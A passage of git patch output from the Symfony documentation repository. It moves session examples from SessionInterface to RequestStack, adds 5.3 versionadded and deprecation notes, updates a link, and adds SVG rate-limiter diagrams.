@@ -486,13 +485,6 @@ whenever the user browses a page::
     {
         use TargetPathTrait;
 
-        private $session;
-
-        public function __construct(SessionInterface $session)
-        {
-            $this->session = $session;
-        }
-
         public function onKernelRequest(RequestEvent $event): void
         {
             $request = $event->getRequest();
@@ -504,7 +496,7 @@ whenever the user browses a page::
                 return;
             }
 
-            $this->saveTargetPath($this->session, 'main', $request->getUri());
+            $this->saveTargetPath($request->getSession(), 'main', $request->getUri());
         }
 
         public static function getSubscribedEvents()
diff --git a/service_container.rst b/service_container.rst
index e3db328033b..98fb5e61318 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -62,9 +62,6 @@ What other services are available? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -80,7 +77,7 @@ in the container.
 .. tip::
 
     There are actually *many* more services in the container, and each service has
-    a unique id in the container, like ``session`` or ``router.default``. For a full
+    a unique id in the container, like ``request_stack`` or ``router.default``. For a full
     list, you can run ``php bin/console debug:container``. But most of the time,
     you won't need to worry about this. See :ref:`services-wire-specific-service`.
     See :doc:`/service_container/debug`.
@@ -283,9 +280,6 @@ type-hints by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
diff --git a/session.rst b/session.rst
index 394cfece78b..3ccf47460b6 100644
--- a/session.rst
+++ b/session.rst
@@ -127,25 +127,26 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-Symfony provides a session service that is injected in your services and
+The sessions is available througth the Request and the RequestStack.
+Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
+:class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SomeService
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function someMethod()
         {
             // stores an attribute in the session for later reuse
-            $this->session->set('attribute-name', 'attribute-value');
+            $this->requestStack->getSession()->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
             $foo = $this->session->get('foo');
@@ -157,10 +158,10 @@ controllers if you type-hint an argument with
         }
     }
 
-.. tip::
+.. deprecated:: 5.3
 
-    Every ``SessionInterface`` implementation is supported. If you have your
-    own implementation, type-hint this in the argument instead.
+    The ``SessionInterface`` and ``session`` service are deprecated since
+    Symfony 5.3. Inject a request stack instead.
 
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the
@@ -175,22 +176,44 @@ class.
 If your application needs are complex, you may prefer to use
 :ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session`` service definition to replace
-the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
+class. Before using them, override the ``session_listener`` service definition to build
+your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
-        session:
-            public: true
-            class: Symfony\Component\HttpFoundation\Session\Session
-            arguments: ['@session.storage', '@session.namespacedattributebag']
+        session_listener:
+            autoconfigure: true
+            class: App\EventListener\SessionListener
+            arguments:
+            - !service_locator
+                logger: '@?logger'
+                session_collector: '@?data_collector.request.session_collector'
+                session_storage: '@session.storage'
+                session_attributes: '@session.namespacedattributebag'
+            - '%kernel.debug%'
 
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
+.. code-block:: php
+
+    namespace App\EventListener;
+
+    use Symfony\Component\HttpFoundation\Session\Session;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpKernel\EventListener\AbstractSessionListener;
+
+    class SessionListener extends AbstractSessionListener
+    {
+        protected function getSession(): ?SessionInterface
+        {
+            return new Session($this->container->get('session_storage'), $this->container->get('session_attributes'));
+        }
+    }
+
 .. _session-avoid-start:
 
 Avoid Starting Sessions for Anonymous Users
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
index 056f2a674cb..13d620381aa 100644
--- a/session/locale_sticky_session.rst
+++ b/session/locale_sticky_session.rst
@@ -146,7 +146,7 @@ event::
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
     use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
     use Symfony\Component\Security\Http\SecurityEvents;
 
@@ -156,11 +156,11 @@ event::
      */
     class UserLocaleSubscriber implements EventSubscriberInterface
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function onInteractiveLogin(InteractiveLoginEvent $event)
@@ -168,7 +168,7 @@ event::
             $user = $event->getAuthenticationToken()->getUser();
 
             if (null !== $user->getLocale()) {
-                $this->session->set('_locale', $user->getLocale());
+                $this->requestStack->getSession()->set('_locale', $user->getLocale());
             }
         }
 

From 98ebace2ecae3d409ce8e229b066fd9da21f5cd9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jan 2021 10:04:23 +0100
Subject: [PATCH 0436/5766] Tweak

---
 session.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/session.rst b/session.rst
index 3ccf47460b6..da265d739b9 100644
--- a/session.rst
+++ b/session.rst
@@ -160,8 +160,9 @@ controllers if you type-hint an argument with
 
 .. deprecated:: 5.3
 
-    The ``SessionInterface`` and ``session`` service are deprecated since
-    Symfony 5.3. Inject a request stack instead.
+    The ``SessionInterface`` and ``session`` service were deprecated in
+    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
+    object of the current request.
 
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the

From 8673801703a7ca8625357234a43e645bb9c49d6b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jan 2021 10:16:07 +0100
Subject: [PATCH 0437/5766] Added the versionadded directive

---
 console/coloring.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/console/coloring.rst b/console/coloring.rst
index 9412511e11f..7e77a090b25 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -54,6 +54,10 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     True (hex) color support was introduced in Symfony 5.2
 
+.. versionadded:: 5.3
+
+    Support for bright colors was introduced in Symfony 5.3.
+
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.

From 9d03c8f616eb9b9b473a51c7e8c0647e616a440f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jan 2021 10:19:15 +0100
Subject: [PATCH 0438/5766] [Semaphore] The component is no longer experimental
 in Symfony 5.3.

---
 components/semaphore.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/semaphore.rst b/components/semaphore.rst
index 614c38a6bd9..ebae3df89e8 100644
--- a/components/semaphore.rst
+++ b/components/semaphore.rst
@@ -10,8 +10,7 @@ The Semaphore Component
 
 .. versionadded:: 5.2
 
-    The Semaphore Component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Semaphore Component was introduced in Symfony 5.2.
 
 Installation
 ------------

From 36a5c1a2820bdcd9bd3aa65bb2774d99228c0495 Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Sun, 3 Jan 2021 17:22:23 +0000
Subject: [PATCH 0439/5766] [String] Feature 39178

Documentation update for [String] Feature 39178 "AsciiSlugger's symbolsMap should apply to all locales for a language".
---
 components/string.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 97988fc0970..48f17f0b3e9 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -477,6 +477,12 @@ that only includes safe ASCII characters::
     $slug = $slugger->slug('10% or 5€');
     // $slug = '10-percent-or-5-euro'
 
+    // if there is no symbols map for your locale (e.g. 'en_GB') then the parent locale's symbols map
+    // will be used instead (i.e. 'en')
+    $slugger = new AsciiSlugger('en_GB', ['en' => ['%' => 'percent', '€' => 'euro']]);
+    $slug = $slugger->slug('10% or 5€');
+    // $slug = '10-percent-or-5-euro'
+
     // for more dynamic substitutions, pass a PHP closure instead of an array
     $slugger = new AsciiSlugger('en', function ($string, $locale) {
         return str_replace('❤️', 'love', $string);
@@ -490,6 +496,10 @@ that only includes safe ASCII characters::
 
     The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2.
 
+.. versionadded:: 5.3
+
+    The feature to fallback to the parent locale's symbols map was introduced in Symfony 5.3.
+
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 

From 584396620e9a269f63493ada18e372941d123a42 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 29 Jan 2021 14:22:21 +0100
Subject: [PATCH 0440/5766] Fix Connect URL

---
 contributing/documentation/overview.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index be7d3418c6e..460f1b62589 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -338,7 +338,7 @@ definitely don't want you to waste your time!
 .. _`GitHub`: https://github.com/
 .. _`fork the repository`: https://help.github.com/github/getting-started-with-github/fork-a-repo
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
-.. _`SymfonyConnect`: https://connect.symfony.com/
+.. _`SymfonyConnect`: https://symfony.com/connect/login
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases

From 1cdb6cb9079f5c0e2b709ab90294b08218b50831 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 17 Oct 2020 15:19:01 +0200
Subject: [PATCH 0441/5766] Added limiter diagrams

---
 _images/rate_limiter/fixed_window.svg         |  84 ++++++++++++++++++
 _images/rate_limiter/sliding_window.svg       |  65 ++++++++++++++
 _images/rate_limiter/token_bucket.svg         |  83 +++++++++++++++++
 _images/sources/rate_limiter/fixed_window.dia | Bin 0 -> 2356 bytes
 .../sources/rate_limiter/sliding_window.dia   | Bin 0 -> 2190 bytes
 _images/sources/rate_limiter/token_bucket.dia | Bin 0 -> 2752 bytes
 rate_limiter.rst                              |  52 +++++++++--
 7 files changed, 275 insertions(+), 9 deletions(-)
 create mode 100644 _images/rate_limiter/fixed_window.svg
 create mode 100644 _images/rate_limiter/sliding_window.svg
 create mode 100644 _images/rate_limiter/token_bucket.svg
 create mode 100644 _images/sources/rate_limiter/fixed_window.dia
 create mode 100644 _images/sources/rate_limiter/sliding_window.dia
 create mode 100644 _images/sources/rate_limiter/token_bucket.dia

diff --git a/_images/rate_limiter/fixed_window.svg b/_images/rate_limiter/fixed_window.svg
new file mode 100644
index 00000000000..83d5f6e79ac
--- /dev/null
+++ b/_images/rate_limiter/fixed_window.svg
@@ -0,0 +1,84 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="785" y="-140" width="125" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="847.5" y="-76.1187">
+        <tspan x="847.5" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="670" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="730" y="-76.1187">
+        <tspan x="730" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <g>
+      <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="520" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="580" y="-76.1187">
+        <tspan x="580" y="-76.1187"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="580" y="-150">
+      <tspan x="580" y="-150">1 hour window</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="730" y="-150">
+      <tspan x="730" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="850" y="-150">
+      <tspan x="850" y="-150">1 hour window</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/sliding_window.svg b/_images/rate_limiter/sliding_window.svg
new file mode 100644
index 00000000000..2c565615441
--- /dev/null
+++ b/_images/rate_limiter/sliding_window.svg
@@ -0,0 +1,65 @@
+<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <g>
+      <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="610" y="-140" width="120" height="120" rx="0" ry="0"/>
+      <text font-size="12.7998" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="670" y="-76.1189">
+        <tspan x="670" y="-76.1189"></tspan>
+      </text>
+    </g>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0">
+      <tspan x="505" y="0">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0">
+      <tspan x="565" y="0">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0">
+      <tspan x="625" y="0">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0">
+      <tspan x="685" y="0">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0">
+      <tspan x="745" y="0">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0">
+      <tspan x="805" y="0">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0">
+      <tspan x="865" y="0">13:00</tspan>
+    </text>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="670" y="-150">
+      <tspan x="670" y="-150">1 hour window</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0">
+      <tspan x="925" y="0">13:15</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/>
+  </g>
+</svg>
diff --git a/_images/rate_limiter/token_bucket.svg b/_images/rate_limiter/token_bucket.svg
new file mode 100644
index 00000000000..29d6fc8f103
--- /dev/null
+++ b/_images/rate_limiter/token_bucket.svg
@@ -0,0 +1,83 @@
+<svg width="400" viewBox="483 2 463 173" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+  <g id="Background">
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="170">
+      <tspan x="505" y="170">10:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="170">
+      <tspan x="565" y="170">10:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="170">
+      <tspan x="625" y="170">11:00</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="170">
+      <tspan x="685" y="170">11:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="170">
+      <tspan x="745" y="170">12:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="35" width="19.3548" height="20" rx="0" ry="0"/>
